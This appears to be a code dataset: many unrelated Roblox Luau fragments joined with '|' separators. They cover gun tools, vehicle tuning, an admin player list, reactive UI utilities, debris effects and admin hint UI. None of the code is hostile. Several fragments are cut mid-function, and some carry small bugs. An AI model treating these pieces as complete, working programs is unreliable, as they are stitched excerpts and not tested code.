TargetPosition = TargetPosition + Vector3.new((math.random(-Accuracy.X, Accuracy.X) * 0.01), (math.random(-Accuracy.Y, Accuracy.Y) * 0.01), (math.random(-Accuracy.Z, Accuracy.Z) * 0.01))
Configuration.Ammo.Magazines.Value = (Configuration.Ammo.Magazines.Value - 1)
FireRay(StartPosition, TargetPosition)
end
ToggleGui()
wait(Configuration.FireRate.Value)
end
OnClientInvoke("StopAnimation", {Animation = Animations.Fire.Animation, FadeTime = 0.25})
else
Tool.Enabled = true
Sounds.NoAmmo:Play()
Reload()
end
MouseDown = false
Tool.Enabled = true
if Configuration.Ammo.Magazines.Value <= 0 then
Sounds.NoAmmo:Play()
Reload()
end
end
function CheckIfAlive()
return (((Player and Player.Parent and Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0) and true) or false)
end
function Equipped(Mouse)
Character = Tool.Parent
Player = Players:GetPlayerFromCharacter(Character)
Humanoid = Character:FindFirstChild("Humanoid")
if not CheckIfAlive() then
return
end
ToolEquipped = true
Spawn(function()
PlayerMouse = Player:GetMouse()
Mouse.Button1Down:connect(function()
Button1Pressed(true)
end)
Mouse.Button1Up:connect(function()
Button1Pressed(false)
end)
Mouse.KeyDown:connect(function(Key)
KeyPress(Key, true)
end)
Mouse.KeyUp:connect(function(Key)
KeyPress(Key, false)
end)
Humanoid.CameraOffset = Vector3.new(0, 0.35, 0)
OnClientInvoke("PlayAnimation", Animations.Hold)
local PlayerGui = Player:FindFirstChild("PlayerGui")
if PlayerGui then
if UserInputService.TouchEnabled then
InputCheckClone = InputCheck:Clone()
InputCheckClone.InputButton.InputBegan:connect(function()
InvokeServer("Button1Click", {Down = true})
end)
InputCheckClone.InputButton.InputEnded:connect(function()
InvokeServer("Button1Click", {Down = false})
end)
InputCheckClone.Parent = PlayerGui
end
local function AdjustAmmoDisplay()
local Frame = AmmoDisplayClone.Frame
Frame.CurrentWeapon.Text = Configuration.ToolName.Value
local Ammo = Frame.Ammo
Ammo.AmmoCounter.CounterPart.Text = ((Configuration.Ammo.ClipSize.MaxValue > 0 and Configuration.Ammo.ClipSize.Value) or "--")
Ammo.MagCounter.CounterPart.Text = Configuration.Ammo.Magazines.Value
end
AmmoDisplayClone = AmmoDisplay:Clone()
AdjustAmmoDisplay()
AmmoDisplayClone.Parent = PlayerGui
ToggleGui()
for i, v in pairs({ClipSizeChanged, MagazinesChanged}) do
if v then
v:disconnect()
end
end
ClipSizeChanged = Configuration.Ammo.ClipSize.Changed:connect(function()
AdjustAmmoDisplay()
end)
MagazinesChanged = Configuration.Ammo.Magazines.Changed:connect(function()
AdjustAmmoDisplay()
end)
end
for i, v in pairs({"Left Arm", "Right Arm"}) do
local Arm = Character:FindFirstChild(v)
if Arm then
Spawn(function()
OnClientInvoke("SetLocalTransparencyModifier", {Object = Arm, Transparency = 0, AutoUpdate = false})
end)
end
end
Mouse.Icon = Cursors.Normal
end)
end
function Unequipped()
LocalObjects = {}
if CheckIfAlive() then
Humanoid.CameraOffset = Vector3.new(0, 0, 0)
end
for i, v in pairs(Sounds) do
v:Stop()
end
if PlayerMouse then
PlayerMouse.Icon = ""
end
for i, v in pairs({InputCheckClone, ObjectLocalTransparencyModifier, AmmoDisplayClone, ClipSizeChanged, MagazinesChanged}) do
if tostring(v) == "Connection" then
v:disconnect()
elseif v and v.Parent then
v:Destroy()
end
end
MouseDown = false
for i, v in pairs(AnimationTracks) do
if v and v.AnimationTrack then
v.AnimationTrack:Stop()
end
end
AnimationTracks = {}
ToolEquipped = false
end
function InvokeServer(mode, value)
pcall(function()
local ServerReturn = ServerControl:InvokeServer(mode, value)
return ServerReturn
end)
end
function OnClientInvoke(mode, value)
if mode == "PlayAnimation" and value and ToolEquipped and Humanoid then
SetAnimation("PlayAnimation", value)
elseif mode == "StopAnimation" and value then
SetAnimation("StopAnimation", value)
elseif mode == "PlaySound" and value then
value:Play()
elseif mode == "StopSound" and value then
value:Stop()
elseif mode == "MousePosition" then
return {Position = PlayerMouse.Hit.p, Target = PlayerMouse.Target}
elseif mode == "SetLocalTransparencyModifier" and value and ToolEquipped then
pcall(function()
local ObjectFound = false
for i, v in pairs(LocalObjects) do
if v == value then
ObjectFound = true
end
end
if not ObjectFound then
table.insert(LocalObjects, value)
if ObjectLocalTransparencyModifier then
ObjectLocalTransparencyModifier:disconnect()
end
ObjectLocalTransparencyModifier = RunService.RenderStepped:connect(function()
for i, v in pairs(LocalObjects) do
if v.Object and v.Object.Parent then
local CurrentTransparency = v.Object.LocalTransparencyModifier
if ((not v.AutoUpdate and (CurrentTransparency == 1 or CurrentTransparency == 0)) or v.AutoUpdate) then
v.Object.LocalTransparencyModifier = v.Transparency
end
else
table.remove(LocalObjects, i)
end
end
end)
end
end)
end
end
ClientControl.OnClientInvoke = OnClientInvoke
Tool.Activated:connect(Activated)
Tool.Equipped:connect(Equipped)
Tool.Unequipped:connect(Unequipped)
|
--Drivetrain |
Tune.TransModes = {"Auto", "Semi", "Manual"} --{"Auto", "Semi", "Manual"}
Tune.AutoShiftMode = "RPM" --"RPM" , "Speed"
Tune.AutoUpThresh = 0
Tune.AutoDownThresh = 1400
Tune.FDiffSlipThres = 20 -- 1 - 100% (Max threshold of applying full lock determined by deviation from avg speed)
Tune.FDiffLockThres = 40 -- 0 - 100% (0 - Bias toward slower wheel, 100 - Bias toward faster wheel)
Tune.RDiffSlipThres = 20 -- 1 - 100%
Tune.RDiffLockThres = 40 -- 0 - 100%
Tune.CDiffSlipThres = 40 -- 1 - 100% [AWD Only]
Tune.CDiffLockThres = 30 -- 0 - 100% [AWD Only]
Tune.TCSThreshold = 15
Tune.TCSGradient = 20
Tune.TCSLimit = .05
Tune.Config = "RWD" --"FWD" , "RWD" , "AWD"
Tune.FinalDrive = 3.9
Tune.Ratios = {
--[[Reverse]] 3.62 ,
--[[Neutral]] 0 ,
--[[ 1 ]] 6.8 ,
--[[ 2 ]] 3.9 ,
--[[ 3 ]] 2.3 ,
--[[ 4 ]] 1.4 ,
--[[ 5 ]] 1.0 ,
--[[ 6 ]] 0.9 ,
}
Tune.BrakeForce = 35000
Tune.PBrakeForce = 40000
|
-- Player List |
local iswhitelisted = whitelist:CheckWhitelist(game.Players.LocalPlayer.Name)
if iswhitelisted == false then rs.Whitelist:Destroy() script.Parent.Toggle:Destroy() script.Parent.Panel:Destroy() script:Destroy() return end
function fixcanvas()
local amount = script.Parent.Panel.PlayerList:GetChildren()
local fixedamount = #amount-1
print(fixedamount)
script.Parent.Panel.PlayerList.CanvasSize = UDim2.new(0,0,0,fixedamount*35)
end
for i,v in pairs(game.Players:GetPlayers()) do
local username = script.Username:Clone()
username.Name = v.Name
username.Text = v.Name
username.Parent = script.Parent.Panel.PlayerList
fixcanvas()
username.MouseButton1Click:Connect(function()
if game.Players:FindFirstChild(username.Name) then
chosenplr = game.Players:FindFirstChild(username.Name)
end
end)
end
game.Players.PlayerAdded:Connect(function(plr)
local username = script.Username:Clone()
username.Name = plr.Name
username.Text = plr.Name
username.Parent = script.Parent.Panel.PlayerList
fixcanvas()
username.MouseButton1Click:Connect(function()
if game.Players:FindFirstChild(username.Name) then
chosenplr = game.Players:FindFirstChild(username.Name)
end
end)
end)
game.Players.PlayerRemoving:Connect(function(plr)
local name = script.Parent.Panel.PlayerList:FindFirstChild(plr.Name)
if name then
name:Destroy()
end
fixcanvas()
end)
for i,buttons in pairs(script.Parent.Panel.Buttons:GetChildren()) do
buttons.MouseButton1Click:Connect(function()
local arg2 = nil
if buttons:FindFirstChildOfClass("TextBox") then
arg2 = buttons:FindFirstChildOfClass("TextBox").Text
end
print(arg2)
remote:FireServer(buttons.Name,chosenplr,arg2)
end)
end
script.Parent.Toggle.MouseButton1Click:Connect(function()
script.Parent.Panel.Visible = not script.Parent.Panel.Visible
end)
|
--[=[
Observes children and ensures that the value is cleaned up
afterwards.
@param value any
@param parent Instance
@return Observable<Instance>
]=] |
function Blend._observeChildren(value, parent)
if typeof(value) == "Instance" then
-- Should be uncommon
return Observable.new(function(sub)
sub:Fire(value)
-- don't complete, as this would clean everything up
return value
end)
end
if type(value) == "function" then
value = Blend._observeChildren(value(parent), parent)
end
if ValueObject.isValueObject(value) then
return Observable.new(function(sub)
local maid = Maid.new()
-- Switch instead of emitting every value.
local function update()
local result = value.Value
if typeof(result) == "Instance" then
maid._current = result
sub:Fire(result)
return
end
local observe = Blend._observeChildren(result, parent)
if observe then
maid._current = nil
local doCleanup = false
local cleanup
cleanup = observe:Subscribe(function(inst)
sub:Fire(inst)
end, function(...)
sub:Fail(...)
end, function()
-- incase of immediate execution
doCleanup = true
-- Do not pass complete through to the end
if maid._current == cleanup then
maid._current = nil
end
end)
-- TODO: Complete when valueobject cleans up
if doCleanup then
if cleanup then
MaidTaskUtils.doCleanup(cleanup)
end
else
maid._current = cleanup
end
return
end
maid._current = nil
end
maid:GiveTask(value.Changed:Connect(update))
update()
return maid
end)
end
if Brio.isBrio(value) then
return Observable.new(function(sub)
if value:IsDead() then
return nil
end
local result = value:GetValue()
if typeof(result) == "Instance" then
local maid = value:ToMaid()
maid:GiveTask(result)
sub:Fire(result)
return maid
end
local observe = Blend._observeChildren(result, parent)
if observe then
local maid = value:ToMaid()
-- Subscription is for lifetime of brio, so we do
-- not need to specifically add these results to the maid, and
-- risk memory leak of the maid with a lot of items in it.
maid:GiveTask(observe:Subscribe(function(inst)
sub:Fire(inst)
end, function(...)
sub:Fail(...)
end, function()
-- completion should not result more than maid cleaning up
maid:DoCleaning()
end))
return maid
end
warn(("Unknown type in brio %q"):format(typeof(result)))
return nil
end)
end
-- Handle like observable
if Promise.isPromise(value) then
value = Rx.fromPromise(value)
end
-- Handle like observable
if Signal.isSignal(value) or typeof(value) == "RBXScriptSignal" then
value = Rx.fromSignal(value)
end
if Observable.isObservable(value) then
return Observable.new(function(sub)
local maid = Maid.new()
maid:GiveTask(value:Subscribe(function(result)
if typeof(result) == "Instance" then
-- lifetime of subscription
maid:GiveTask(result)
sub:Fire(result)
return
end
local observe = Blend._observeChildren(result, parent)
if observe then
local innerMaid = Maid.new()
-- Note: I think this still memory leaks
innerMaid:GiveTask(observe:Subscribe(function(inst)
sub:Fire(inst)
end, function(...)
innerMaid:DoCleaning()
sub:Fail(...)
end, function()
innerMaid:DoCleaning()
end))
innerMaid:GiveTask(function()
maid[innerMaid] = nil
end)
maid[innerMaid] = innerMaid
else
warn(("Failed to convert %q into children"):format(tostring(result)))
end
end, function(...)
sub:Fire(...)
end, function()
-- Drop completion, other inner components may have completed.
end))
return maid
end)
end
if type(value) == "table" and not getmetatable(value) then
local observables = {}
for key, item in pairs(value) do
local observe = Blend._observeChildren(item, parent)
if observe then
table.insert(observables, observe)
else
warn(("Failed to convert [%s] %q into children"):format(tostring(key), tostring(item)))
end
end
if next(observables) then
return Rx.merge(observables)
else
return nil
end
end
return nil
end
|
--------| Variables |-------- |
local lastCalc
local lastCalcTick = 0
|
----------------------------------------------------------------------------
--- Functions ------------------------------------------------------------
---------------------------------------------------------------------------- |
local function DestroyDroplet(d)
wait(Fade)
-- Proper GC
for _, Child in ipairs(d:GetChildren()) do
local Index = table.find(ignoreList, Child)
if Index then
ignoreList[Index] = ignoreList[IgnoreLength]
ignoreList[IgnoreLength] = nil
IgnoreLength = IgnoreLength - 1
end
end
local Index = table.find(ignoreList, d)
if Index then
ignoreList[Index] = ignoreList[IgnoreLength]
ignoreList[IgnoreLength] = nil
IgnoreLength = IgnoreLength - 1
end
d:Destroy()
end
|
--Made by Haustier and Luckymaxer |
local detectionDistance = 20
function followNearestPlayer()
local players = game.Players:GetChildren()
local head = script.Parent.Head
for i = 1, #players do
if players[i].Character then
if players[i].Character.Humanoid.Health > 0 then
local playerPos = players[i].Character.Head.Position
local distanceAway = (head.Position - playerPos).magnitude
if distanceAway <= detectionDistance then
local ray = Ray.new(head.Position, (playerPos - head.Position).unit * distanceAway)
local ignore = {script.Parent, players[i].Character}
local obj, pos = game.Workspace:FindPartOnRayWithIgnoreList(ray, ignore)
if obj == nil then
script.Parent.Movement.Disabled = true
script.Parent.Humanoid:MoveTo(playerPos)
elseif obj then
script.Parent.Movement.Disabled = false
end
end
end
else
script.Parent.Movement.Disabled = false
end
end
end
while wait() do
followNearestPlayer()
end
|
--//SS6 PLUGIN; SPLASH//-- |
--//INSPARE 2017//--
local ai = script.Parent.Main_Frame.A.Frame.ImageLabel
local bi = script.Parent.Main_Frame.B.Frame.ImageLabel
local ci = script.Parent.Main_Frame.C.Frame.ImageLabel
local di = script.Parent.Main_Frame.D.Frame.ImageLabel
local ei = script.Parent.Main_Frame.E.Frame.ImageLabel
wait(.2)
script.Parent.SplashFade.TH:Play()
while true do
for i=1,3 do
for i=1,5 do
ai.Position = ai.Position - UDim2.new(4,0,0,0)
bi.Position = bi.Position - UDim2.new(4,0,0,0)
ci.Position = ci.Position - UDim2.new(4,0,0,0)
di.Position = di.Position - UDim2.new(4,0,0,0)
ei.Position = ei.Position - UDim2.new(4,0,0,0)
wait(.045)
end
ai.Position = ai.Position + UDim2.new(20,0,-3,0)
bi.Position = bi.Position + UDim2.new(20,0,-3,0)
ci.Position = ci.Position + UDim2.new(20,0,-3,0)
di.Position = di.Position + UDim2.new(20,0,-3,0)
ei.Position = ei.Position + UDim2.new(20,0,-3,0)
wait(.045)
end
for i=1,3 do
ai.Position = ai.Position - UDim2.new(4,0,0,0)
bi.Position = bi.Position - UDim2.new(4,0,0,0)
ci.Position = ci.Position - UDim2.new(4,0,0,0)
di.Position = di.Position - UDim2.new(4,0,0,0)
ei.Position = ei.Position - UDim2.new(4,0,0,0)
wait(.045)
end
ai.Position = ai.Position + UDim2.new(12,0,9,0)
bi.Position = bi.Position + UDim2.new(12,0,9,0)
ci.Position = ci.Position + UDim2.new(12,0,9,0)
di.Position = di.Position + UDim2.new(12,0,9,0)
ei.Position = ei.Position + UDim2.new(12,0,9,0)
wait(.045)
end
|
---------------------- |
function module.Create(radius,Position,rockSize, DespawnTime, AmountFlyingDebris)
local ModelCircle = Instance.new("Model",workspace.Terrain)
ModelCircle.Name = "Debris"
Debris:AddItem(ModelCircle,5)
local Y = Position.Y
local Material
local Transparency
local Color
local IgnoreList = {}
for _,object in pairs(workspace:GetDescendants()) do
if object.Name == "Debree" or object:FindFirstChildWhichIsA("Humanoid") then
table.insert(IgnoreList,object)
end
end
local RPParams = RaycastParams.new()
RPParams.FilterDescendantsInstances = IgnoreList
RPParams.FilterType = Enum.RaycastFilterType.Blacklist
local ray = workspace:Raycast(Position + Vector3.new(0,0.1,0),Vector3.new(0,-999,0),RPParams)
if ray then
Y = ray.Position.Y
Material = ray.Material
Transparency = ray.Instance.Transparency
Color = ray.Instance.Color
end
local parts = {}
for i = 0,radius * 8,rockSize do
table.insert(parts,Instance.new("Part",ModelCircle))
end
local function getXAndZPositions(angle)
local x = math.cos(angle) * radius
local z = math.sin(angle) * radius
return x, z
end
for i, part in pairs(parts) do
part.Anchored = true
part.Name = "Debree"
part.Size = Vector3.new(0,0,0)
local angle = (i*rockSize) * (360 / #parts)
local x,z = getXAndZPositions(angle)
table.insert(IgnoreList,part)
RPParams.FilterDescendantsInstances = IgnoreList
part.CFrame = CFrame.new(Position) * CFrame.new(x, 0, z)
part.Position = Vector3.new(part.Position.X,Y,part.Position.Z)
part.CFrame *= CFrame.Angles(math.rad(math.random(-90,90)),math.rad(math.random(-90,90)),math.rad(math.random(-90,90)))
if AccurateRepresentation == true then
local raynew = workspace:Raycast(part.Position + Vector3.new(0,0.1,0),Vector3.new(0,-999,0),RPParams)
if raynew then
part.Material = raynew.Material
part.Transparency = raynew.Instance.Transparency
part.Color = raynew.Instance.Color
else
--part.Material = Material
--part.Transparency = Transparency
--part.Color = Color
end
else
part.Material = Materials[math.random(1,#Materials)]
part.Color = Colors[math.random(1,#Colors)]
end
part.Parent = workspace
TS:Create(part,TweenInfo.new(0.2),{Size = Vector3.new(rockSize,rockSize,rockSize)}):Play()
task.spawn(function()
task.wait(DespawnTime)
TS:Create(part,TweenInfo.new(0.1),{Size = Vector3.new(0,0,0)}):Play()
Debris:AddItem(part,0.11)
end)
end
for i = 0,AmountFlyingDebris do
local DebrisVelocity = Vector3.new(math.random(-50,50),math.floor(70,120),math.random(-50,50))
local part = Instance.new("Part",ModelCircle)
part.CanCollide = false
part.Size = Vector3.new(0,0,0)
part.Massless = true
part.Name = "Debree"
TS:Create(part,TweenInfo.new(0.2),{Size = Vector3.new(rockSize,rockSize,rockSize)}):Play()
if AccurateRepresentation == true then
part.Material = Material
part.Transparency = Transparency
part.Color = Color
else
part.Material = Materials[math.random(1,#Materials)]
part.Color = Colors[math.random(1,#Colors)]
end
part.Position = Position + Vector3.new(0,rockSize,0)
part.Velocity = DebrisVelocity
part.AssemblyAngularVelocity = Vector3.new(math.random(-90,90),math.random(-90,90),math.random(-90,90))
task.spawn(function()
wait(0.5)
part.CanCollide = FlyingDebrisCollision
end)
task.spawn(function()
task.wait(DespawnTime)
TS:Create(part,TweenInfo.new(0.5,Enum.EasingStyle.Cubic),{Size = Vector3.new(0,0,0)}):Play()
Debris:AddItem(part,1)
end)
end
return
end
return module
|
--!strict |
local LuauPolyfill = script.Parent.Parent
local types = require(LuauPolyfill.types)
type Array<T> = types.Array<T>
|
--[[
ParentToPlayerGUI
Description: This script injects the parent into the players gui as soon as they load into the game so the
UI is available.
]] | |
-----------------------------------------------------------
----------------------- STATIC DATA -----------------------
----------------------------------------------------------- |
local RunService = game:GetService("RunService")
local Workspace = game:GetService("Workspace")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local Modules = ReplicatedStorage:WaitForChild("SharedModules")
local DamageModule = require(Modules.DamageModule)
local Utilities = require(Modules.Utilities)
local Signal = Utilities.Signal
local table = Utilities.Table
local Thread = Utilities.Thread
local TargetEvent
if RunService:IsClient() then
TargetEvent = RunService.RenderStepped
else
TargetEvent = RunService.Heartbeat
end
local Projectiles = {}
local RemoveList = {}
|
-- DefaultValue for spare ammo |
local SpareAmmo = 99999 |
-- Developer : AinStrqfe
-- Developer : AinStrqfe
-- Developer : AinStrqfe |
local hitbox = script.Parent
hitbox.Touched:Connect(function(touch)
local char = touch.Parent
if game.Players:GetPlayerFromCharacter(char) then
if char:FindFirstChild("Humanoid") then
char.Humanoid.MaxHealth = math.huge
char.Humanoid.Health = math.huge
char.Humanoid.WalkSpeed = 20
end
end
end)
hitbox.TouchEnded:Connect(function(touch)
local char = touch.Parent
if game.Players:GetPlayerFromCharacter(char) then
if char:FindFirstChild("Humanoid") then
char.Humanoid.MaxHealth = 100
char.Humanoid.Health = 100
char.Humanoid.WalkSpeed = 16
end
end
end)
|
--Canvas Size |
local firstLabel = pages.custom["AA Space"]
local finalLabel = pages.custom["AZ Space"]
pages.custom.CanvasSize = UDim2.new(0, 0, 0, (finalLabel.AbsolutePosition.Y - firstLabel.AbsolutePosition.Y) + finalLabel.AbsoluteSize.Y*1)
return module
|
-- main loop |
RunService.Stepped:connect(function(_, deltaTime)
for i = #projectiles, 1, -1 do
local projectile = projectiles[i]
local alive = UpdateProjectile(projectile, deltaTime)
if not alive then
KillProjectile(projectile)
elseif tick() - projectile.Start > projectile.Lifetime then
KillProjectile(projectile)
end
end
end)
|
-- Constants |
local INFINITE_BOUNDS = Vector2.new(math.huge, math.huge)
function TextBox:getSize()
-- Return size directly if fixed
if not (self.props.Width or self.props.Height or self.props.Size == 'WRAP_CONTENT') then
return self.props.Size
end
-- Get fixed sizes for individual axes
local Width, Height
if typeof(self.props.Width) == 'UDim' then
Width = self.props.Width
elseif typeof(self.props.Height) == 'UDim' then
Height = self.props.Height
end
-- Get text size from height if autoscaled
local TextSize = self.props.TextSize
if self.props.TextScaled and self.AbsoluteSize then
TextSize = self.AbsoluteSize.Y
end
-- Calculate content bounds
local Bounds = TextService:GetTextSize(
self.props.Text,
TextSize,
self.props.Font,
INFINITE_BOUNDS
)
-- Set width and height based on content if requested
if not Width and (self.props.Width == 'WRAP_CONTENT' or self.props.Size == 'WRAP_CONTENT') then
Width = UDim.new(0, Bounds.X)
end
if not Height and (self.props.Height == 'WRAP_CONTENT' or self.props.Size == 'WRAP_CONTENT') then
Height = UDim.new(0, Bounds.Y)
end
-- Return the calculated size
return UDim2.new(
Width or (self.props.Size and self.props.Size.X) or UDim.new(),
Height or (self.props.Size and self.props.Size.Y) or UDim.new()
)
end
function TextBox:updateSize()
-- Calculate new size
local Size = self:getSize()
local TextSize = self.props.TextScaled and
(self.AbsoluteSize and self.AbsoluteSize.Y) or
self.props.TextSize
-- Check if state is outdated
if self.state.Size ~= Size or
self.state.TextSize ~= TextSize then
-- Update state
self:setState {
Size = Size,
TextSize = TextSize
}
end
end
function TextBox:init()
self.Updating = true
self.state = {
Size = UDim2.new(),
TextSize = 0
}
end
function TextBox:willUpdate(nextProps, nextState)
self.Updating = true
end
function TextBox:render()
local props = Support.Merge({}, self.props, {
-- Override size
Size = self.state.Size,
TextSize = self.state.TextSize,
TextScaled = false,
-- Get initial size
[Roact.Ref] = function (rbx)
self.AbsoluteSize = rbx and
rbx.AbsoluteSize or
self.AbsoluteSize
end,
-- Track size changes
[Roact.Change.AbsoluteSize] = function (rbx)
self.AbsoluteSize = rbx.AbsoluteSize
if not self.Updating then
self:updateSize()
end
end
})
-- Parse hex colors
if type(props.TextColor) == 'string' then
local R, G, B = props.TextColor:lower():match('#?(..)(..)(..)')
props.TextColor3 = Color3.fromRGB(tonumber(R, 16), tonumber(G, 16), tonumber(B, 16))
end
-- Separate children from props
local children = Support.Merge({}, self.props[Roact.Children])
-- Clear invalid props
props.Width = nil
props.Height = nil
props.Bold = nil
props.TextColor = nil
props[Roact.Children] = nil
-- Add a bold layer if specified
if self.props.Bold then
local BoldProps = Support.CloneTable(props)
BoldProps.Size = UDim2.new(1, 0, 1, 0)
BoldProps.Position = nil
BoldProps.TextScaled = true
BoldProps.AnchorPoint = nil
children.Bold = new(TextBox, BoldProps)
end
-- Display component in wrapper
return new('TextBox', props, children)
end
function TextBox:didMount()
self.Updating = nil
self:updateSize()
end
function TextBox:didUpdate(previousProps, previousState)
self.Updating = nil
self:updateSize()
end
return TextBox
|
--[=[
Only takes distinct values from the observable stream.
http://reactivex.io/documentation/operators/distinct.html
```lua
Rx.of(1, 1, 2, 3, 3, 1):Pipe({
Rx.distinct();
}):Subscribe(print) --> 1, 2, 3, 1
```
@return (source: Observable<T>) -> Observable<T>
]=] |
function Rx.distinct()
return function(source)
assert(Observable.isObservable(source), "Bad observable")
return Observable.new(function(sub)
local last = UNSET_VALUE
return source:Subscribe(
function(value)
-- TODO: Support tuples
if last == value then
return
end
last = value
sub:Fire(last)
end,
sub:GetFailComplete()
)
end)
end
end
|
--This module is for any client FX related to the Lab's door |
local DoorFX = {}
local tweenService = game:GetService("TweenService")
local tweenInfo = TweenInfo.new(1, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut)
function DoorFX.OPEN(door)
if not door then return end
tweenService:Create(door.DoorA.Main, tweenInfo, {CFrame = door.DoorA.Goal.CFrame}):Play()
tweenService:Create(door.DoorB.Main, tweenInfo, {CFrame = door.DoorB.Goal.CFrame}):Play()
door.DoorA.Main.DoorOpenFADEOUT:Play()
door.DoorB.Main.DoorOpenFADEOUT:Play()
end
function DoorFX.CLOSE(door)
if not door then return end
door.DoorA.Main.CFrame = door.DoorA.Home.CFrame
door.DoorB.Main.CFrame = door.DoorB.Home.CFrame
end
return DoorFX
|
--[[
API Reference:
This module exposes the following APIs to allow for various configurations and custom interactions. Once the experience
starts, a `SocialInteractions` ModuleScript will be parented to ReplicatedStorage. To access the following APIs, simply
require the module as follows (on the client):
]] |
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local SocialInteractions = require(ReplicatedStorage:WaitForChild("SocialInteractions"))
|
-- Existance in this list signifies that it is an emote, the value indicates if it is a looping emote |
local emoteNames = { wave = false, point = false, dance1 = true, dance2 = true, dance3 = true, laugh = false, cheer = false}
function configureAnimationSet(name, fileList)
if (animTable[name] ~= nil) then
for _, connection in pairs(animTable[name].connections) do
connection:Disconnect()
end
end
animTable[name] = {}
animTable[name].count = 0
animTable[name].totalWeight = 0
animTable[name].connections = {}
-- check for config values
local config = script:FindFirstChild(name)
if (config ~= nil) then |
--[[Engine]]
--Torque Curve |
Tune.Horsepower = 150 -- [TORQUE CURVE VISUAL]
Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf
Tune.PeakRPM = 6980 -- Use sliders to manipulate values
Tune.Redline = 8000 -- Copy and paste slider values into the respective tune values
Tune.EqPoint = 5500
Tune.PeakSharpness = 7.5
Tune.CurveMult = 0.16
|
--[[
@plugin UI
Currently converts gui instances into PluginWidgets.
]] |
local widget = {}
local plugin = nil
function widget.convertToDockWidget(screenGui, widgetId: string, widgetInfo: DockWidgetPluginGuiInfo, title: string)
local widget = plugin:CreateDockWidgetPluginGui(widgetId, widgetInfo)
widget.Title = title
widget.ZIndexBehavior = screenGui.ZIndexBehavior
screenGui = screenGui:GetChildren()
for i = 1, #screenGui do
screenGui[i]:Clone().Parent = widget
end
return widget
end
return function(Plugin: Plugin)
plugin = Plugin
return widget
end
|
-- LOCAL |
local tweenService = game:GetService("TweenService")
local debris = game:GetService("Debris")
local userInputService = game:GetService("UserInputService")
local httpService = game:GetService("HttpService") -- This is to generate GUIDs
local runService = game:GetService("RunService")
local textService = game:GetService("TextService")
local starterGui = game:GetService("StarterGui")
local guiService = game:GetService("GuiService")
local iconModule = script
local TopbarPlusReference = require(iconModule.TopbarPlusReference)
local referenceObject = TopbarPlusReference.getObject()
local leadPackage = referenceObject and referenceObject.Value
if leadPackage and leadPackage ~= iconModule then
return require(leadPackage)
end
if not referenceObject then
TopbarPlusReference.addToReplicatedStorage()
end
local Icon = {}
Icon.__index = Icon
local IconController = require(iconModule.IconController)
local Signal = require(iconModule.Signal)
local Maid = require(iconModule.Maid)
local TopbarPlusGui = require(iconModule.TopbarPlusGui)
local Themes = require(iconModule.Themes)
local activeItems = TopbarPlusGui.ActiveItems
local topbarContainer = TopbarPlusGui.TopbarContainer
local iconTemplate = topbarContainer["IconContainer"]
local DEFAULT_THEME = Themes.Default
local THUMB_OFFSET = 55
local DEFAULT_FORCED_GROUP_VALUES = {}
|
-- ScreenSpace -> WorldSpace. Taking a screen height that you want that object to be
-- and a world height that is the size of that object, and returning the position to
-- put that object at to satisfy those. |
function ScreenSpace.ScreenToWorldByHeight(x, y, screenHeight, worldHeight)
local aspectRatio = ScreenSpace.AspectRatio()
local hfactor = math.tan(math.rad(Workspace.CurrentCamera.FieldOfView)/2)
local wfactor = aspectRatio*hfactor
local sx, sy = ScreenSpace.ViewSizeX(), ScreenSpace.ViewSizeY()
--
local depth = - (sy * worldHeight) / (screenHeight * 2 * hfactor)
--
local xf, yf = x/sx*2 - 1, y/sy*2 - 1
local xpos = xf * -wfactor * depth
local ypos = yf * hfactor * depth
--
return Vector3.new(xpos, ypos, depth)
end
|
--- Removes raycast points using only vector3 values. Use the same vector3 table from SetPoints
-- @param object BasePart or Bone, the original instance you used for SetPoints
-- @param table of vector values that are in local space relative to the basePart |
function Hitbox:RemovePoints(object: BasePart | Bone, vectorPoints: {[number]: Vector3})
for i = #self.HitboxRaycastPoints, 1, -1 do
local part = (self.HitboxRaycastPoints[i] :: Point).Instances[1]
if part == object then
local originalVector = (self.HitboxRaycastPoints[i] :: Point).Instances[2]
for _: number, vector: Vector3 in ipairs(vectorPoints) do
if vector == originalVector :: Vector3 then
table.remove(self.HitboxRaycastPoints, i)
break
end
end
end
end
end
|
--// All global vars will be wiped/replaced except script
--// All guis are autonamed client.Variables.CodeName..gui.Name |
return function(data)
local gui = script.Parent.Parent
local playergui = service.PlayerGui
local str = data.Message
local time = data.Time or 15
--client.UI.Make("HintHolder")
local container = client.UI.Get("HintHolder",nil,true)
if not container then
local holder = service.New("ScreenGui")
local hTable = client.UI.Register(holder)
local frame = service.New("ScrollingFrame", holder)
client.UI.Prepare(holder)
hTable.Name = "HintHolder"
frame.Name = "Frame"
frame.BackgroundTransparency = 1
frame.Size = UDim2.new(1, 0, 0,150)
frame.CanvasSize = UDim2.new(0, 0, 0, 0)
frame.ChildAdded:Connect(function(c)
if #frame:GetChildren() == 0 then
frame.Visible = false
else
frame.Visible = true
end
end)
frame.ChildRemoved:Connect(function(c)
if #frame:GetChildren() == 0 then
frame.Visible = false
else
frame.Visible = true
end
end)
container = hTable
hTable:Ready()
end
container = container.Object.Frame
--// First things first account for notif :)
local notif = client.UI.Get("Notif")
local topbar = client.UI.Get("TopBar")
container.Position = UDim2.new(0,0,0,((notif and 30) or 0) + ((topbar and 40) or 0) - 35)
local children = container:children()
gui.Position = UDim2.new(0,0,0,-100)
gui.Frame.msg.Text = str
local bounds = gui.Frame.msg.TextBounds.X
spawn(function()
local sound = Instance.new("Sound",service.LocalContainer())
sound.SoundId = "rbxassetid://489390072"
wait(0.1)
sound:Play()
wait(0.8)
sound:Destroy()
end)
local function moveGuis(m,ignore)
m = m or 0
local max = #container:children()
for i,v in pairs(container:children()) do
if v~=ignore then
local y = (i+m)*28
v.Position = UDim2.new(0,0,0,y)
if i~=max then v.Size = UDim2.new(1,0,0,28) end
end
end
end
local lom = -1
moveGuis(-1)
gui.Parent = container
if #container:children()>5 then lom = -2 end
UDim2.new(0,0,0,(#container:children()+lom)*28)
moveGuis(-1)
--gui:TweenPosition(UDim2.new(0,0,0,(#container:children()+lom)*28),nil,nil,0.3,true,function() if gui and gui.Parent then moveGuis(-1) end end)
if #container:children()>5 then
local gui = container:children()[1]
moveGuis(-2,gui)
gui:Destroy()
